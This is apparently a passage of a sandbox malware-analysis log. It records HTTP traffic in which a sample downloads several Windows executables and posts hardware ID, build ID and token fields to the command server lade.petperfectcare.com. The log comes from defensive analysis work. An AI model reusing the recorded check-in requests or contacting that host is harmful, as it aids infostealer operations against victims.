00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Mon, 07 Oct 2024 16:43:36 GMTContent-Type: application/octet-streamContent-Length: 450024Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTConnection: keep-aliveETag: "6315a9f4-6dde8"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Mon, 07 Oct 2024 16:43:37 GMTContent-Type: application/octet-streamContent-Length: 257872Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTConnection: keep-aliveETag: "6315a9f4-3ef50"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Mon, 07 Oct 2024 16:43:37 GMTContent-Type: application/octet-streamContent-Length: 80880Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTConnection: keep-aliveETag: "6315a9f4-13bf0"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Mon, 07 Oct 2024 16:43:37 GMTContent-Type: application/octet-streamContent-Length: 2046288Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTConnection: keep-aliveETag: "6315a9f4-1f3950"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Mon, 07 Oct 2024 16:43:45 GMTContent-Type: application/octet-streamContent-Length: 551424Last-Modified: Mon, 07 Oct 2024 16:21:33 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "67040a8d-86a00"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 3d 89 39 06 79 e8 57 55 79 e8 57 55 79 e8 57 55 aa 9a 54 54 75 e8 57 55 aa 9a 52 54 d2 e8 57 55 aa 9a 53 54 6c e8 57 55 aa 9a 56 54 7a e8 57 55 79 e8 56 55 21 e8 57 55 69 6c 54 54 6d e8 57 55 69 6c 53 54 6b e8 57 55 69 6c 52 54 34 e8 57 55 31 6d 5e 54 78 e8 57 55 31 6d a8 55 78 e8 57 55 31 6d 55 54 78 e8 57 55 52 69 63 68 79 e8 57 55 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 8d 0a 04 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 29 00 12 02 00 00 62 06 00 00 00 00 00 52 6f 00 00 00 10 00 00 00 30 02 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 08 00 00 04 00 00 71 34 09 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 c0 c6 02 00 28 00 00 00 00 80 08 00 d8 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 08 00 d4 1a 00 00 c0 ab 02 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ab 02 00 40 00 00 00 00 00 00 00 00 00 00 00 00 30 02 00 2c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f0 10 02 00 00 10 00 00 00 12 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 78 9d 00 00 00 30 02 00 00 9e 00 00 00 16 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 80 a3 05 00 00 d0 02 00 00 96 05 00 00 b4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 d8 03 00 00 00 80 08 00 00 04 00 00 00 4a 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d4 1a 00 00 00 90 08 00 00 1c 00 00 00 4e 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: lade.petperfectcare.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----FIECBFIDGDAKFHIEHJKFHost: lade.petperfectcare.comContent-Length: 256Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 49 45 43 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 31 33 38 44 39 44 41 42 35 30 44 32 38 36 35 38 36 36 33 30 39 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 43 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 36 39 34 62 36 64 35 30 31 39 39 65 61 34 34 32 30 37 61 39 37 65 32 35 64 64 61 35 35 30 36 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 43 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 2d 2d 0d 0a Data Ascii: ------FIECBFIDGDAKFHIEHJKFContent-Disposition: form-data; name="hwid"5138D9DAB50D2865866309-a33c7340-61ca------FIECBFIDGDAKFHIEHJKFContent-Disposition: form-data; name="build_id"e694b6d50199ea44207a97e25dda5506------FIECBFIDGDAKFHIEHJKF--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EGCBAFCFIJJJECBGIIJKHost: lade.petperfectcare.comContent-Length: 331Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 43 42 41 46 43 46 49 4a 4a 4a 45 43 42 47 49 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 37 32 36 34 30 64 62 65 38 65 66 65 63 34 62 36 66 34 66 62 36 63 61 35 33 35 61 36 63 35 65 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 42 41 46 43 46 49 4a 4a 4a 45 43 42 47 49 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 36 39 34 62 36 64 35 30 31 39 39 65 61 34 34 32 30 37 61 39 37 65 32 35 64 64 61 35 35 30 36 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 42 41 46 43 46 49 4a 4a 4a 45 43 42 47 49 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 31 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 42 41 46 43 46 49 4a 4a 4a 45 43 42 47 49 49 4a 4b 2d 2d 0d 0a Data Ascii: ------EGCBAFCFIJJJECBGIIJKContent-Disposition: form-data; name="token"372640dbe8efec4b6f4fb6ca535a6c5e------EGCBAFCFIJJJECBGIIJKContent-Disposition: form-data; name="build_id"e694b6d50199ea44207a97e25dda5506------EGCBAFCFIJJJECBGIIJKContent-Disposition: form-data; name="mode"1------EGCBAFCFIJJJECBGIIJK--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----JEBKECAFIDAFIECBKEHDHost: lade.petperfectcare.comContent-Length: 331Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 42 4b 45 43 41 46 49 44 41 46 49 45 43 42 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 37 32 36 34 30 64 62 65 38 65 66 65 63 34 62 36 66 34 66 62 36 63 61 35 33 35 61 36 63 35 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 45 43 41 46 49 44 41 46 49 45 43 42 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 36 39 34 62 36 64 35 30 31 39 39 65 61 34 34 32 30 37 61 39 37 65 32 35 64 64 61 35 35 30 36 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 45 43 41 46 49 44 41 46 49 45 43 42 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 32 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 45 43 41 46 49 44 41 46 49 45 43 42 4b 45 48 44 2d 2d 0d 0a Data Ascii: ------JEBKECAFIDAFIECBKEHDContent-Disposition: form-data; name="token"372640dbe8efec4b6f4fb6ca535a6c5e------JEBKECAFIDAFIECBKEHDContent-Disposition: form-data; name="build_id"e694b6d50199ea44207a97e25dda5506------JEBKECAFIDAFIECBKEHDContent-Disposition: form-data; name="mode"2------JEBKECAFIDAFIECBKEHD--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----GIIEGHIDBGHIECAAECGDHost: lade.petperfectcare.comContent-Length: 332Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 37 32 36 34 30 64 62 65 38 65 66 65 63 34 62 36 66 34 66 62 36 63 61 35 33 35 61 36 63 35 65 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 36 39 34 62 36 64 35 30 31 39 39 65 61 34 34 32 30 37 61 39 37 65 32 35 64 64 61 35 35 30 36 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 